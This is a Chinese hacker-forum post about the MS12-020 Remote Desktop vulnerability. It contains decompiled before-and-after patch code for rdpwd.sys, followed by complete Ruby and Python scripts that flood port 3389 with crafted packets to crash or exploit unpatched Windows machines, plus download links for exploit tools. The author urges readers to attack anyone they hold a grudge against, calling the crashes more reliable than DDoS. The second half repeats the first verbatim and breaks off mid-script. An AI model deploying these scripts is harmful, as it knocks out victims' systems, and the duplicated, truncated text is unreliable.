MS12-020 漏洞利用程序
2012-03-16 16:05
274 查看
根据大家的测试,多数为直接蓝屏。
根据Silic Group的调查,蓝屏的出现基本可以确定是因为MS11-065补丁的原因。本文的PoC是根据2011年8月出现的MS11-065补丁以后的rdpwd.sys文件结构而写
微软通过MS11-065修改了rdpwd.sys文件并更新了版本,所以导致没打过MS11-065的机器就出现了蓝屏等症状。
通过本论坛交流群内成员的各种测试结果,发送580 byte数据包的基本可以成功,内网或者同C段则成功率比较高,其他情况则蓝屏现象严重
另外请不要质疑测试脚本与ms12-020漏洞的真实性,蓝屏则表示漏洞存在,只是shellcode在内存覆盖的位置有问题。
如果不爽,跟谁有仇就干谁,重启就蓝重启就蓝重启就蓝,补丁都打不上,这东西比DDoS稳定
本文末尾将付上MS12-020真正的PoC,编写语言为ruby和python两个版本的,还有一个exe程序,均不需要什么freerdp包之类的东西。
Sabu写的那个不是MS12-020的shellcode,而是2008年Apache 1.2.19的远程命令执行漏洞的EXP修改来的。真正的PoC除了本文帖子,其他的地方还真没流传出来。
新闻把这个炒作起来,完全是在微软推送补丁以后看漏洞的介绍和波及范围而炒作的。
PoC以后肯定会有人有更好更傻瓜化的或者GUI版本的,因为既然有漏洞的文件知道了,就会有人根据分析有漏洞的文件写出shellcode,不过暂时本论坛的本帖子的PoC恐怕是网上为数不多的可用的真实的PoC。
其实之前我这里在14号当天就拿到了一个nasl的测试脚本,nasl版本的PoC真的要执行指定命令并不太容易,多数都拒绝服务了,不过测试中580byte的shellcode是成功率最高的。
也就是说,网上流传的截图也好,视频也好,有sent从一百两百到上万byte的PoC程序截图,这些截图明显就是假的了
OK,步入正文
//blackbap.org
MS12-020于前天被爆存在高危远程代码执行漏洞,可以通过向远程桌面端口发送特定的RDP包获得管理员权限,存在漏洞的文件是rdpwd.sys,出现漏洞的原因,恐怕现在网上已经泛滥的一塌糊涂了,那就是HandleAttachUserReq()函数。
其实早在2011年8月的时候,微软的rdpwd.sys文件就已经爆出过一个命令执行漏洞,漏洞代号是MS11-065。
注:本文并非专业分析
但是转载请注明本文来自:Silic Group Hacker Army[http://blackbap.org]
首先,第一步我们来看一下这个存在漏洞的函数HandleAttachUserReq()在打过补丁前后的不同:
更新前的代码:
char __thiscall HandleAttachUserReq(int this, int a2, int a3)
{
int v3; // esi@1
int v4; // eax@3
int v6; // [sp-8h] [bp-18h]@3
char v7; // [sp+4h] [bp-Ch]@3
int v8; // [sp+8h] [bp-8h]@3
int v9; // [sp+Ch] [bp-4h]@2
v3 = this;
*(_DWORD *)a3 = 1;
if ( *(_BYTE *)(this + 16) & 0×20 )
{
while ( IcaBufferAlloc(*(_DWORD *)v3, 0, 1, 11, 0, &v9) )
;
v4 = MCSAttachUserRequest(v3, 0, 0, 0, &v8, &v7, (char *)&a3 + 3);
v6 = *(_DWORD *)(v9 + 16);
if ( v4 )
{
CreateAttachUserCon(14, 0, 0, v6);
*(_DWORD *)(v9 + 20) = 9;
}
else
{
CreateAttachUserCon(0, 1, *(_DWORD *)(v8 + 12), v6);
*(_DWORD *)(v9 + 20) = 11;
*(_BYTE *)(v8 + 4) = 0;
}
if ( SendOutBuf(v3, v9) < 0 )
SListRemove(v3 + 112, v8, &v8);
}
return 1;
}
复制代码
更新后的代码:
char __thiscall HandleAttachUserReq(int this, int a2, int a3)
{
int v3; // esi@1
int v4; // eax@3
int v6; // [sp-8h] [bp-18h]@3
char v7; // [sp+4h] [bp-Ch]@3
int v8; // [sp+8h] [bp-8h]@3
int v9; // [sp+Ch] [bp-4h]@2
v3 = this;
*(_DWORD *)a3 = 1;
if ( *(_BYTE *)(this + 16) & 0×20 )
{
while ( IcaBufferAlloc(*(_DWORD *)v3, 0, 1, 11, 0, &v9) )
;
v4 = MCSAttachUserRequest(v3, 0, 0, 0, &v8, &v7, (char *)&a3 + 3);
v6 = *(_DWORD *)(v9 + 16);
if ( v4 )
{
CreateAttachUserCon(14, 0, 0, v6);
*(_DWORD *)(v9 + 20) = 9;
}
else
{
CreateAttachUserCon(0, 1, *(_DWORD *)(v8 + 12), v6);
*(_DWORD *)(v9 + 20) = 11;
*(_BYTE *)(v8 + 4) = 0;
}
if ( SendOutBuf(v3, v9) < 0 )
{
SListRemove(v3 + 112, v8, &v8);
//注意下面的if语句,这是更新后的代码 blackbap.org
if ( p )
{
if ( !*((_BYE *)P + 5) )
ExFreePoolWithTag(P, 0);
}
}
}
return 1;
}
复制代码
是的,代码中添加了一个额外的函数ExFreePoolWithTag()用于检查和释放内存的使用
原:
0002CB30 @HandleAttachUserReq@16
0002CBB8 push ss:[ebp+var_4]
0002CBBB push esi
0002CBBC call _SendOutBuf@8
0002CBC1 test eax, eax
0002CBC3 pop ebx
0002CBC4 jge loc_2CBD6
0002CBC6 lea eax, ss:[ebp+var_8]
0002CBC9 push eax
0002CBCA push ss:[ebp+var_8]
0002CBCD add esi, 0×70
0002CBD0 push esi
0002CBD1 call _SListRemove@12
0002CBD6 mov b1 a1, b1 1
0002CBD8 pop esi
0002CBD9 leave
0002CBDA retn b2 8
复制代码
这是后面加过检查和释放函数的:
0002CB44 @HandleAttachUserReq@16
0002CBCC push ss:[ebp+var_4]
0002CBCF push esi
0002CBD0 call _SendOutBuf@8
0002CBD5 test eax, eax
0002CBD7 jge loc_2CBD6
0002CBD9 lea eax, ss:[ebp+var_P]
0002CBDC push eax
0002CBDD push ss:[ebp+var_P]
0002CBE0 add esi, 0×70
0002CBE3 push esi
0002CBE4 call _SListRemove@12 //SListRemove(x,x,x)
0002CBE9 mov eax, ss:[ebp+P]
0002CBEC cmp eax, ebx
0002CBEE jz loc_2CBFD
0002CBF0 cmp b1 ds:[eax+5],b1 b1
0002CBF3 jnz loc_2CBFD
0002CBF5 push ebx //Tag
0002CBF6 push ebx //P
0002CBF7 call ds:[__imp__ExFreePoolWithTag@8] //__imp__ExFreePoolWithTag@8,ExFreePoolWithTag(x,x)
//CODE XREF: HandleAttachUserReq(x,x,x,x)+19j
//HandleAttachUserReq(x,x,x,x)+94j …
0002CBFD pop esi
0002CBFE mov b1 a1, b1 1
0002CC00 pop ebx
0002CC01 leave
0002CC02 retn b2 8
复制代码
通过检查,上述函数似乎只解决了内存泄露问题,并没有解决内存不释放的问题??
还有一个函数也是疑似检查用户数据的,疑似是边界的检查
0001978A call _WDWParseUserData@36 //WDWParseUserData(x,x,x,x,x,x,x,x,x)
0001978F test eax, eax
00019791 jz short loc_1973D
00019793 push 0
00019795 push esi
00019796 push [ebp+arg_4]
00019799 push [ebp+var_4]
0001979C push [ebp+var_8]
0001979F push [ebp+var_C]
000197A2 push [ebp+arg_0]
000197A5 call _WDWConnect@28 //WDWConnect(x,x,x,x,x,x,x)
复制代码
上面这个函数我并没有做什么太大的分析,因为漏洞已经产生了,其实大家更想知道的,并不是这个漏洞如何产生的,而是这个漏洞怎么利用。
下面就贴出ruby语言的利用脚本:
#!/usr/bin/env ruby
# ms12-020 PoC
# NOTE: 本测试脚本基于中国民间流传的Chinese Shit而写,并且修正了数据包不符合协议的问题
# Author: Joshua J. Drake(jduck)
# From: BlackBap.Org
# Silic Group – 技术自由 技术创新 技术共享 技术原创 技术进步
require ‘socket’
def send_tpkt(sd, data)
sd.write(make_tpkt(data))
end
def make_tpkt(data)
[
3, # version
0, # reserved
4 + data.length
].pack(‘CCn’) + data
end
def make_x224(data)
[ data.length ].pack(‘C’) + data
end
def make_rdp(type, flags, data)
[ type, flags, 4 + data.length ].pack(‘CCv’) + data
end
host = ARGV.shift
sd = TCPSocket.new(host, 3389)
pkts1 = []
# craft connection request
rdp = make_rdp(1, 0, [ 0 ].pack(‘V’))
x224_1 = make_x224([
0xe0, # Connection request
0, # ??
0, # SRC-REF
0 # Class : Class 0
].pack(‘CnnC’) + rdp)
pkts1 << make_tpkt(x224_1)
# craft connect-initial
x224_2 = make_x224([
0xf0, # Data / Class 0
0x80 # EOT: True / NR: 0
].pack(‘CC’))
# mcsCi
target_params = “”+
#”\x02\x01\x00″+ # maxChannelIds
“\x02\x04\x00\x00\x00\x22″+ # maxChannelIds
“\x02\x04\x00\x00\x00\x0a”+ # maxUserIds
“\x02\x04\x00\x00\x00\x00″+ # maxTokenIds
“\x02\x04\x00\x00\x00\x01″+ # numPriorities
“\x02\x04\x00\x00\x00\x00″+ # minThroughput
“\x02\x04\x00\x00\x00\x01″+ # maxHeight
“\x02\x02\xff\xff”+ # maxMCSPDUSize
“\x02\x04\x00\x00\x00\x02″ # protocolVersion
min_params = “”+
“\x02\x04\x00\x00\x00\x01″+ # maxChannelIds
“\x02\x04\x00\x00\x00\x01″+ # maxUserIds
“\x02\x04\x00\x00\x00\x01″+ # maxTokenIds
“\x02\x04\x00\x00\x00\x01″+ # numPriorities
“\x02\x04\x00\x00\x00\x00″+ # minThroughput
“\x02\x04\x00\x00\x00\x01″+ # maxHeight
“\x02\x02\x04\x20″+ # maxMCSPDUSize
“\x02\x04\x00\x00\x00\x02″ # protocolVersion
max_params = “”+
“\x02\x02\xff\xff”+ # maxChannelIds
“\x02\x02\xfc\x17″+ # maxUserIds
“\x02\x02\xff\xff”+ # maxTokenIds
“\x02\x04\x00\x00\x00\x01″+ # numPriorities
“\x02\x04\x00\x00\x00\x00″+ # minThroughput
“\x02\x04\x00\x00\x00\x01″+ # maxHeight
“\x02\x02\xff\xff”+ # maxMCSPDUSize
“\x02\x04\x00\x00\x00\x02″ # protocolVersion
userdata = “”+
# gccCCrq
“\x00\x05\x00\x14″+
“\x7c\x00\x01\x81\x2a\x00\x08\x00\x10\x00\x01\xc0\x00\x44\x75\x63″+”\x61\x81\x1c”+
# clientCoreData
“\x01\xc0″+”\xd8\x00″+ # header (type, len)
“\x04\x00″+”\x08\x00″+ # version
“\x80\x02″+ # desktop width
“\xe0\x01″+ # desktop height
“\x01\xca”+ # color depth
“\x03\xaa”+ # SASSequence
“\x09\x04\x00\x00″ + # keyboard layout
“\xce\x0e\x00\x00″ + # client build number
# client name
“\x48\x00\x4f\x00\x53\x00\x54\x00\x00\x00\x00\x00\x00\x00\x00\x00″+
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+
“\x04\x00\x00\x00″+ # keyboard type
“\x00\x00\x00\x00″+ # kbd subType
“\x0c\x00\x00\x00″+ # kbd FuncKey
# imeFileName
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+
“\x01\xca”+ # postBeta2ColorDepth
“\x01\x00″+ # clientProductId
“\x00\x00\x00\x00″ + # serialNumber
“\x10\x00″+ # highColorDepth
“\x07\x00″+ # supportedColorDepths
“\x01\x00″+ # earlyCapabilityFlags
# clientDigProductId -poc has: “00000-000-0000000-00000″
“\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x2d\x00\x30\x00\x30\x00″+
“\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00″+
“\x30\x00\x2d\x00\x30\x00\x30\x00\x30\x00\x30\x00\x30\x00\x00\x00″+
“\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00″+
“\x00″+ # connectionType
“\x00″+ # pad1octet
“\x00\x00\x00\x00″+ # serverSelectedProtocol
“\x04\xc0\x0c\x00″+ # desktopPhysicalWidth
“\x0d\x00\x00\x00″+ # desktopPhysicalHeight
“\x00\x00\x00\x00″+ # reserved
# clientSecurityData
“\x02\xc0″+”\x0c\x00″+ # header (type, len)
“\x1b\x00\x00\x00″+ # encryptionMethods
“\x00\x00\x00\x00″+ # extEncryptionMethods
# clientNetworkData
“\x03\xc0″+”\x2c\x00″+ # header (type, len)
“\x03\x00\x00\x00″+ # channel count!
# channel 0
“rdpdr\x00\x00\x00″+ # name
“\x00\x00\x80\x80″+ # options
# channel 1
“cliprdr\x00″+ # name
“\x00\x00\xa0\xc0″+ # options
# channel 2
“rdpsnd\x00\x00″+ # name
“\x00\x00\x00\xc0″ # options
# clientClusterData (not present)
# clientMonitorData (not present)
mcs_data = “”+
“\x04\x01\x01″+ # callingDomainSelector
“\x04\x01\x01″+ # calledDomainSelector
“\x01\x01\xff”+ # upwardFlag
#”\x30″ + [ target_params.length ].pack(‘C’) + target_params +
#”\x30″ + [ min_params.length ].pack(‘C’) + min_params +
#”\x30″ + [ max_params.length ].pack(‘C’) + max_params +
“\x30″ + [ 0x19 ].pack(‘C’) + target_params +
“\x30″ + [ 0x19 ].pack(‘C’) + min_params +
“\x30″ + [ 0x1c ].pack(‘C’) + max_params +
# userData
“\x04\x82″ + [ userdata.length ].pack(‘n’) + userdata
#mcs = “\x7f\x65\x82″ + [ mcs_data.length ].pack(‘n’) # connect-initial (0×65 / 101), length
mcs = “\x7f\x65\x82″ + [ 0x194 ].pack(‘n’) # connect-initial (0×65 / 101), length
mcs << mcs_data
pkts1 << make_tpkt(x224_2 + mcs)
# send a special one?
pkts1 << make_tpkt(x224_2 + “\x04\x01\x00\x01\x00″)
# send more pkts! – based on poc
10.times {
pkts1 << make_tpkt(x224_2 + “\x28″)
}
pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xea”)
pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xeb”)
pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xec”)
pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xed”)
pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xee”)
pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xf0″)
pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xf1″)
pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xf2″)
pkts1 << make_tpkt(x224_2 + “\x38\x00\x06\x03\xf3″)
pkts1 << make_tpkt(x224_2 + “\x21\x80″)
bigpkt = pkts1.join(”)
loop {
sd.write(bigpkt)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x01″)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x02″)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x03″)
send_tpkt(sd, x224_2 + “\x2e\x00\x00\x04″)
# read connect-initial response
buf = sd.recv(1500)
# XXX: TODO: check response =)
#puts buf
}
sd.close
# BlackBap.Org
复制代码
既然ruby的数据包上已经声明了,这个脚本是基于“Chinese Shit”的脚本所写,并且修正了“Chinese Shit”上面的不完全符合协议的数据包
那么我们再来看一下“Chinese Shit”的PoC又是什么样子的,Python语言:
#ms12-020 “chinese shit” PoC v2 (wireshark版)
# 测试平台:win sp3(西班牙语), 据反馈Win7和win 2008也同样可用
# Silic Group – 技术自由 技术创新 技术共享 技术原创 技术进步
# 附件中添加time.sleep修正bug版本的py脚本
# BlackBap.Org
import socket
import sys
buf=”"
buf+=”\x03\x00\x00\x13″ # TPKT, Version 3, lenght 19
buf+=”\x0e\xe0\x00\x00\x00\x00\x00\x01\x00\x08\x00\x00\x00\x00\x00″ # ITU-T Rec X.224
buf+=”\x03\x00\x01\xd6″ # TPKT, Version 3, lenght 470
buf+=”\x02\xf0\x80″ # ITU-T Rec X.224
buf+=”\x7f\x65\x82\x01\x94\x04″ #MULTIPOINT-COMMUNICATION-SERVICE T.125
buf+=”\x01\x01\x04\x01\x01\x01\x01\xff” # “Fuck you Chelios” packet
buf+=”\x30\x19\x02\x04\x00\x00\x00\x00″
buf+=”\x02\x04\x00\x00\x00\x02\x02\x04″
buf+=”\x00\x00\x00\x00\x02\x04\x00\x00″
buf+=”\x00\x01\x02\x04\x00\x00\x00\x00″
buf+=”\x02\x04\x00\x00\x00\x01\x02\x02″
buf+=”\xff\xff\x02\x04\x00\x00\x00\x02″
buf+=”\x30\x19\x02\x04\x00\x00\x00\x01″
buf+=”\x02\x04\x00\x00\x00\x01\x02\x04″
buf+=”\x00\x00\x00\x01\x02\x04\x00\x00″
buf+=”\x00\x01\x02\x04\x00\x00\x00\x00″
buf+=”\x02\x04\x00\x00\x00\x01\x02\x02″
buf+=”\x04\x20\x02\x04\x00\x00\x00\x02″
buf+=”\x30\x1c\x02\x02\xff\xff\x02\x02″
buf+=”\xfc\x17\x02\x02\xff\xff\x02\x04″
buf+=”\x00\x00\x00\x01\x02\x04\x00\x00″
buf+=”\x00\x00\x02\x04\x00\x00\x00\x01″
buf+=”\x02\x02\xff\xff\x02\x04\x00\x00″
buf+=”\x00\x02\x04\x82\x01\x33\x00\x05″
buf+=”\x00\x14\x7c\x00\x01\x81\x2a\x00″
buf+=”\x08\x00\x10\x00\x01\xc0\x00\x44″
buf+=”\x75\x63\x61\x81\x1c\x01\xc0\xd8″
buf+=”\x00\x04\x00\x08\x00\x80\x02\xe0″
buf+=”\x01\x01\xca\x03\xaa\x09\x04\x00″
buf+=”\x00\xce\x0e\x00\x00\x48\x00\x4f”
buf+=”\x00\x53\x00\x54\x00\x00\x00\x00″
buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
buf+=”\x00\x00\x00\x00\x00\x04\x00\x00″
buf+=”\x00\x00\x00\x00\x00\x0c\x00\x00″
buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
buf+=”\x00\x01\xca\x01\x00\x00\x00\x00″
buf+=”\x00\x10\x00\x07\x00\x01\x00\x30″
buf+=”\x00\x30\x00\x30\x00\x30\x00\x30″
buf+=”\x00\x2d\x00\x30\x00\x30\x00\x30″
buf+=”\x00\x2d\x00\x30\x00\x30\x00\x30″
buf+=”\x00\x30\x00\x30\x00\x30\x00\x30″
buf+=”\x00\x2d\x00\x30\x00\x30\x00\x30″
buf+=”\x00\x30\x00\x30\x00\x00\x00\x00″
buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
buf+=”\x00\x00\x00\x00\x00\x00\x00\x00″
buf+=”\x00\x00\x00\x00\x00\x04\xc0\x0c”
buf+=”\x00\x0d\x00\x00\x00\x00\x00\x00″
buf+=”\x00\x02\xc0\x0c\x00\x1b\x00\x00″
buf+=”\x00\x00\x00\x00\x00\x03\xc0\x2c”
buf+=”\x00\x03\x00\x00\x00\x72\x64\x70″
buf+=”\x64\x72\x00\x00\x00\x00\x00\x80″
buf+=”\x80\x63\x6c\x69\x70\x72\x64\x72″
buf+=”\x00\x00\x00\xa0\xc0\x72\x64\x70″
buf+=”\x73\x6e\x64\x00\x00\x00\x00\x00″
buf+=”\xc0″
buf+=”\x03\x00\x00\x0c” # TPKT, Version 3, Lenght 12
buf+=”\x02\xf0\x80″ # ITU-T Rec X.224
buf+=”\x04\x01\x00\x01\x00″ # MULTIPOINT-COMMUNICATION-SERVICE T.125
buf+=”\x03\x00\x00\x08″ #TPKT, Version 3, Length 8
buf+=”\x02\xf0\x80″ # ITU-T Rec X.224
buf+=”\x28″ # MULTIPOINT-COMM-SERVICE T.125
buf+=”\x03\x00\x00\x0c” # TPKT, Version 3, Lenght 12
buf+=”\x02\xf0\x80″ # ITU-T Rec X.224
buf+=”\x38\x00\x06\x03\xef” # MULTIPOINT-COMM-SERVICE T.125
buf+=”\x03\x00\x00\x0c” # TPKT, Version 3, Lenght 12
buf+=”\x02\xf0\x80″ #ITU-T Rec X.224
buf+=”\x38\x00\x06\x03\xeb” # MULTIPOINT-COMM-SERVICE T.125
buf+=”\x03\x00\x00\x0c” # TPKT, Version 3, Lenght 12
buf+=”\x02\xf0\x80″ #ITU-T Rec X.224
buf+=”\x38\x00\x06\x03\xec”# MULTIPOINT-COMM-SERVICE T.125
buf+=”\x03\x00\x00\x0c” # TPKT, Version 3, Lenght 12
buf+=”\x02\xf0\x80″ #ITU-T Rec X.224
buf+=”\x38\x00\x06\x03\xed”# MULTIPOINT-COMM-SERVICE T.125
buf+=”\x03\x00\x00\x0c” # TPKT, Version 3, Lenght 12
buf+=”\x02\xf0\x80″ #ITU-T Rec X.224
buf+=”\x38\x00\x06\x03\xee”# MULTIPOINT-COMM-SERVICE T.125
buf+=”\x03\x00\x00\x0b” # TPKT, Version 3, Lenght 12
buf+=”\x06\xd0\x00\x00\x12\x34\x00″ #ITU-T Rec X.224
HOST = sys.argv[1]
PORT = 3389
for i in range(1000):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((HOST,PORT))
print “sending: %d bytes” % len(buf)
s.send(buf)
rec = s.recv(100)
print “received: %d bytes” % len(rec)
s.close()
# BlackBap.Org
复制代码
据测试,上面版本的Chinese Shit仍然有很多bug,附件中新增了time.sleep修正bug版本的py脚本
如果你比较懒,可以直接下载以上PoC的压缩包,如果你比较勤快,可以点击以上代码的“复制代码”,并保存于记事本并重命名为xx.rb和xx.py并自己修正bug
附件说明:
*
* MS12-020.rb为严格符合rdp数据包规范的ruby脚本语言的MS12-020测试PoC
*
* Chinese Shit.py为网上流传的MS12-020漏洞程序Python脚本wireshark v2修正版
* 西班牙语XP SP3和Win7/R2都成功
*
* Chinese Shit Silic Group修正版.py为基于原Chinese Shit的python脚本的bug校正版本
* 添加了time.sleep
*
* rdp.exe则来自网上广泛流传的花钱购买的版本的利用工具
* rdp IP -v如果对方机器重启表示漏洞存在,且可利用。
*
* Apache 1.2.19 mod_jk 远程栈溢出漏洞.py是流传最广泛的Sabu@fbi.gov的娱乐版PoC
*
*
* Silic Group – 技术自由 技术创新 技术共享 技术原创 技术进步
* BlackBap.Org
*提供一个Win下测试成功的, 不需要ruby环境的EXE程序:
http://115.com/file/dpq7v1u4#
MS12-020利用工具-含bug修正版.rar
-----------------------一下为早期---------------------------
需要安装 FREERDP
这个貌似就是大家苦苦寻找的 ms12-020 exp
下载地址:http://115.com/file/anmgwyzh
视频地址:http://good.gd/1975261.htm
FREERDP 模块:https://github.com/FreeRDP/FreeRDP/downloads
转载于Dis9
标签: FREERDP 地址 http 貌似 downloads
MS12-020: 远程桌面中允许远程执行代码漏洞
这是网上流传的 ms12-020 exp py 版本代码:
早期ms12-020 exp py
根据Silic Group的调查,蓝屏的出现基本可以确定是因为MS11-065补丁的原因。本文的PoC是根据2011年8月出现的MS11-065补丁以后的rdpwd.sys文件结构而写
微软通过MS11-065修改了rdpwd.sys文件并更新了版本,所以导致没打过MS11-065的机器就出现了蓝屏等症状。
通过本论坛交流群内成员的各种测试结果,发送580 byte数据包的基本可以成功,内网或者同C段则成功率比较高,其他情况则蓝屏现象严重
另外请不要质疑测试脚本与ms12-020漏洞的真实性,蓝屏则表示漏洞存在,只是shellcode在内存覆盖的位置有问题。
如果不爽,跟谁有仇就干谁,重启就蓝重启就蓝重启就蓝,补丁都打不上,这东西比DDoS稳定
本文末尾将付上MS12-020真正的PoC,编写语言为ruby和python两个版本的,还有一个exe程序,均不需要什么freerdp包之类的东西。
Sabu写的那个不是MS12-020的shellcode,而是2008年Apache 1.2.19的远程命令执行漏洞的EXP修改来的。真正的PoC除了本文帖子,其他的地方还真没流传出来。
新闻把这个炒作起来,完全是在微软推送补丁以后看漏洞的介绍和波及范围而炒作的。
PoC以后肯定会有人有更好更傻瓜化的或者GUI版本的,因为既然有漏洞的文件知道了,就会有人根据分析有漏洞的文件写出shellcode,不过暂时本论坛的本帖子的PoC恐怕是网上为数不多的可用的真实的PoC。
其实之前我这里在14号当天就拿到了一个nasl的测试脚本,nasl版本的PoC真的要执行指定命令并不太容易,多数都拒绝服务了,不过测试中580byte的shellcode是成功率最高的。
也就是说,网上流传的截图也好,视频也好,有sent从一百两百到上万byte的PoC程序截图,这些截图明显就是假的了
OK,步入正文
//blackbap.org
MS12-020于前天被爆存在高危远程代码执行漏洞,可以通过向远程桌面端口发送特定的RDP包获得管理员权限,存在漏洞的文件是rdpwd.sys,出现漏洞的原因,恐怕现在网上已经泛滥的一塌糊涂了,那就是HandleAttachUserReq()函数。
其实早在2011年8月的时候,微软的rdpwd.sys文件就已经爆出过一个命令执行漏洞,漏洞代号是MS11-065。
注:本文并非专业分析
但是转载请注明本文来自:Silic Group Hacker Army[http://blackbap.org]
首先,第一步我们来看一下这个存在漏洞的函数HandleAttachUserReq()在打过补丁前后的不同:
更新前的代码:
char __thiscall HandleAttachUserReq(int this, int a2, int a3)
{
int v3; // esi@1
int v4; // eax@3
int v6; // [sp-8h] [bp-18h]@3
char v7; // [sp+4h] [bp-Ch]@3
int v8; // [sp+8h] [bp-8h]@3
int v9; // [sp+Ch] [bp-4h]@2
v3 = this;
*(_DWORD *)a3 = 1;
if ( *(_BYTE *)(this + 16) & 0×20 )
{
while ( IcaBufferAlloc(*(_DWORD *)v3, 0, 1, 11, 0, &v9) )
;
v4 = MCSAttachUserRequest(v3, 0, 0, 0, &v8, &v7, (char *)&a3 + 3);
v6 = *(_DWORD *)(v9 + 16);
if ( v4 )
{
CreateAttachUserCon(14, 0, 0, v6);
*(_DWORD *)(v9 + 20) = 9;
}
else
{
CreateAttachUserCon(0, 1, *(_DWORD *)(v8 + 12), v6);
*(_DWORD *)(v9 + 20) = 11;
*(_BYTE *)(v8 + 4) = 0;
}
if ( SendOutBuf(v3, v9) < 0 )
SListRemove(v3 + 112, v8, &v8);
}
return 1;
}
复制代码
更新后的代码:
char __thiscall HandleAttachUserReq(int this, int a2, int a3)
{
int v3; // esi@1
int v4; // eax@3
int v6; // [sp-8h] [bp-18h]@3
char v7; // [sp+4h] [bp-Ch]@3
int v8; // [sp+8h] [bp-8h]@3
int v9; // [sp+Ch] [bp-4h]@2
v3 = this;
*(_DWORD *)a3 = 1;
if ( *(_BYTE *)(this + 16) & 0×20 )
{
while ( IcaBufferAlloc(*(_DWORD *)v3, 0, 1, 11, 0, &v9) )
;
v4 = MCSAttachUserRequest(v3, 0, 0, 0, &v8, &v7, (char *)&a3 + 3);
v6 = *(_DWORD *)(v9 + 16);
if ( v4 )
{
CreateAttachUserCon(14, 0, 0, v6);
*(_DWORD *)(v9 + 20) = 9;
}
else
{
CreateAttachUserCon(0, 1, *(_DWORD *)(v8 + 12), v6);
*(_DWORD *)(v9 + 20) = 11;
*(_BYTE *)(v8 + 4) = 0;
}
if ( SendOutBuf(v3, v9) < 0 )
{
SListRemove(v3 + 112, v8, &v8);
//注意下面的if语句,这是更新后的代码 blackbap.org
if ( p )
{
if ( !*((_BYE *)P + 5) )
ExFreePoolWithTag(P, 0);
}
}
}
return 1;
}
复制代码
是的,代码中添加了一个额外的函数ExFreePoolWithTag()用于检查和释放内存的使用
原:
0002CB30 @HandleAttachUserReq@16
0002CBB8 push ss:[ebp+var_4]
0002CBBB push esi
0002CBBC call _SendOutBuf@8
0002CBC1 test eax, eax
0002CBC3 pop ebx
0002CBC4 jge loc_2CBD6
0002CBC6 lea eax, ss:[ebp+var_8]
0002CBC9 push eax
0002CBCA push ss:[ebp+var_8]
0002CBCD add esi, 0×70
0002CBD0 push esi
0002CBD1 call _SListRemove@12
0002CBD6 mov b1 a1, b1 1
0002CBD8 pop esi
0002CBD9 leave
0002CBDA retn b2 8
复制代码
这是后面加过检查和释放函数的:
0002CB44 @HandleAttachUserReq@16
0002CBCC push ss:[ebp+var_4]
0002CBCF push esi
0002CBD0 call _SendOutBuf@8
0002CBD5 test eax, eax
0002CBD7 jge loc_2CBD6
0002CBD9 lea eax, ss:[ebp+var_P]
0002CBDC push eax
0002CBDD push ss:[ebp+var_P]
0002CBE0 add esi, 0×70
0002CBE3 push esi
0002CBE4 call _SListRemove@12 //SListRemove(x,x,x)
0002CBE9 mov eax, ss:[ebp+P]
0002CBEC cmp eax, ebx
0002CBEE jz loc_2CBFD
0002CBF0 cmp b1 ds:[eax+5],b1 b1
0002CBF3 jnz loc_2CBFD
0002CBF5 push ebx //Tag
0002CBF6 push ebx //P
0002CBF7 call ds:[__imp__ExFreePoolWithTag@8] //__imp__ExFreePoolWithTag@8,ExFreePoolWithTag(x,x)
//CODE XREF: HandleAttachUserReq(x,x,x,x)+19j
//HandleAttachUserReq(x,x,x,x)+94j …
0002CBFD pop esi
0002CBFE mov b1 a1, b1 1
0002CC00 pop ebx
0002CC01 leave
0002CC02 retn b2 8
复制代码
通过检查,上述函数似乎只解决了内存泄露问题,并没有解决内存不释放的问题??
还有一个函数也是疑似检查用户数据的,疑似是边界的检查
0001978A call _WDWParseUserData@36 //WDWParseUserData(x,x,x,x,x,x,x,x,x)
0001978F test eax, eax
00019791 jz short loc_1973D
00019793 push 0
00019795 push esi
00019796 push [ebp+arg_4]
00019799 push [ebp+var_4]
0001979C push [ebp+var_8]
0001979F push [ebp+var_C]
000197A2 push [ebp+arg_0]
000197A5 call _WDWConnect@28 //WDWConnect(x,x,x,x,x,x,x)
复制代码
上面这个函数我并没有做什么太大的分析,因为漏洞已经产生了,其实大家更想知道的,并不是这个漏洞如何产生的,而是这个漏洞怎么利用。
下面就贴出ruby语言的利用脚本:
#!/usr/bin/env ruby
# ms12-020 PoC
# NOTE: 本测试脚本基于中国民间流传的Chinese Shit而写,并且修正了数据包不符合协议的问题
# Author: Joshua J. Drake(jduck)
# From: BlackBap.Org
# Silic Group – 技术自由 技术创新 技术共享 技术原创 技术进步
require ‘socket’
def send_tpkt(sd, data)
sd.write(make_tpkt(data))
end
